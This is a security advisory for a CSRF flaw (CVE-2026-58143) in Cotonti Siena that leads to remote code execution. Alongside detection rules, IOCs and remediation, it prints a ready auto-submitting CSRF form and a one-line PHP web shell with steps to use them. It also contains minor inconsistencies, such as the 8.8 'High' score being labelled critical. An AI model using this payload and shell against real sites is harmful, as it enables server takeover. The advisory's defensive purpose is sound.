CVE-2026-58143

Executive Summary

CVE-2026-58143 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Cotonti Siena 0.9.26 and earlier. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into submitting a forged POST request to the admin.php configuration update handler. Because the application never invokes its CSRF validation function during this process, the attacker can modify critical configuration settings. Specifically, the attacker can disable the PFS (Personal File Storage) module's file extension whitelist by setting pfsfilecheck to 0. This action enables any user with PFS access to upload and execute arbitrary PHP files on the server, leading to full remote code execution (RCE). The CVSS score is 8.8 (High), and no official patch has been released at this time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim (admin) must be tricked into clicking a link or submitting a form.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): High (H) – An attacker can read arbitrary files, including sensitive data.
• Integrity Impact (I): High (H) – An attacker can modify system files and configuration.
• Availability Impact (A): High (H) – An attacker can disrupt service or delete files.

Threat Level: Critical. The combination of low attack complexity, no privileges required, and high impact makes this vulnerability extremely dangerous. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the admin.php configuration update handler. Cotonti Siena includes a CSRF validation function, but it is never called when processing configuration updates. This oversight allows an attacker to craft a malicious HTML page or a simple POST request that, when submitted by an authenticated administrator, modifies the application's configuration.

The key parameter is pfsfilecheck. When set to 0, the PFS module no longer validates file extensions during upload. This means any user with PFS access (which can be granted to any registered user) can upload a .php file. Once uploaded, the attacker can access the file directly via the web server, leading to arbitrary PHP code execution.

The attack flow:

1. Attacker crafts a malicious HTML form that POSTs to http://target/admin.php?m=config&n=edit&o=pfs with the parameter pfsfilecheck=0.
2. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or a compromised site).
3. The admin's browser submits the form, changing the configuration.
4. Attacker (or any user with PFS access) uploads a PHP web shell.
5. Attacker accesses the uploaded shell to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Cotonti Siena <= 0.9.26): The admin.php configuration update handler does not call the CSRF validation function. The relevant code snippet (simplified) is:

// admin.php - config update handler
if ($_POST['save']) {
    // No CSRF check here
    foreach ($_POST as $key => $val) {
        $cfg[$key] = $val;
    }
    // Save configuration...
}

Patched Code (Hypothetical): A proper patch would include a CSRF token check before processing the POST data:

// admin.php - config update handler (patched)
if ($_POST['save']) {
    if (!cot_check_xsrf()) {
        cot_die('CSRF token validation failed', 403);
    }
    foreach ($_POST as $key => $val) {
        $cfg[$key] = $val;
    }
    // Save configuration...
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft the CSRF Payload Create an HTML file (csrf.html) that automatically submits the malicious request:

<html>
<body>
<form action="http://target/admin.php?m=config&n=edit&o=pfs" method="POST">
    <input type="hidden" name="pfsfilecheck" value="0" />
    <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host the Payload Host the file on an attacker-controlled server or use a phishing email with an auto-submitting form.

Step 3: Lure the Admin Send the link to an authenticated admin. Once they visit, the configuration is changed.

Step 4: Upload a Web Shell Log in as any user with PFS access (or create an account if registration is open). Upload a PHP web shell:

<?php system($_GET['cmd']); ?>

Step 5: Execute Commands Access the uploaded shell at http://target/uploads/pfs/<userid>/shell.php?cmd=id.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to admin.php with parameters like pfsfilecheck=0.
• Alert on configuration changes made outside of normal administrative hours.
• Monitor for file uploads with .php extension in the PFS upload directory.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests to admin.php that lack a valid CSRF token.
• Enforce strict Content Security Policy (CSP) headers to prevent form submission from external origins.
• Use network segmentation to limit access to the admin panel.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin.php?m=config&n=edit&o=pfs with pfsfilecheck=0.
  • Unusual file uploads to /uploads/pfs/ directory with .php extension.
• File System:
  • Presence of unexpected .php files in /uploads/pfs/ directories.
  • Modified configuration files (e.g., config.php) with pfsfilecheck set to 0.
• Logs:
  • Web server access logs showing POST to admin.php from unexpected referrers.
  • Application logs showing configuration changes without a valid CSRF token.

Detection Engineering

YARA Rule

rule CVE_2026_58143_CSRF_Payload {
    meta:
        description = "Detects CSRF payload targeting Cotonti Siena CVE-2026-58143"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-58143"
    strings:
        $csrf_form = "admin.php?m=config&n=edit&o=pfs" nocase
        $pfs_param = "pfsfilecheck=0" nocase
    condition:
        $csrf_form and $pfs_param
}

Sigma Rule

title: Cotonti Siena CSRF Configuration Change
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to Cotonti admin.php with pfsfilecheck=0
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin.php?m=config&n=edit&o=pfs"
        cs-uri-query|contains: "pfsfilecheck=0"
    condition: selection
falsepositives:
    - Legitimate admin configuration changes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-58143 Cotonti Siena CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php"; http_uri; content:"pfsfilecheck=0"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PFS module if not required: Set $cfg['pfs'] = false; in config.php.
2. Restrict admin access to trusted IP addresses only.
3. Implement a reverse proxy (e.g., Nginx) with a rule to block POST requests to admin.php without a valid CSRF token.

Long-term Fix:

• Apply the vendor patch when available. In the meantime, manually add CSRF validation to admin.php as shown in the patched code section.
• Upgrade to a patched version once released.

Workaround:

• Use a browser extension (e.g., NoScript) to block cross-site requests.
• Educate administrators about phishing risks and the importance of logging out after admin sessions.

Valters IT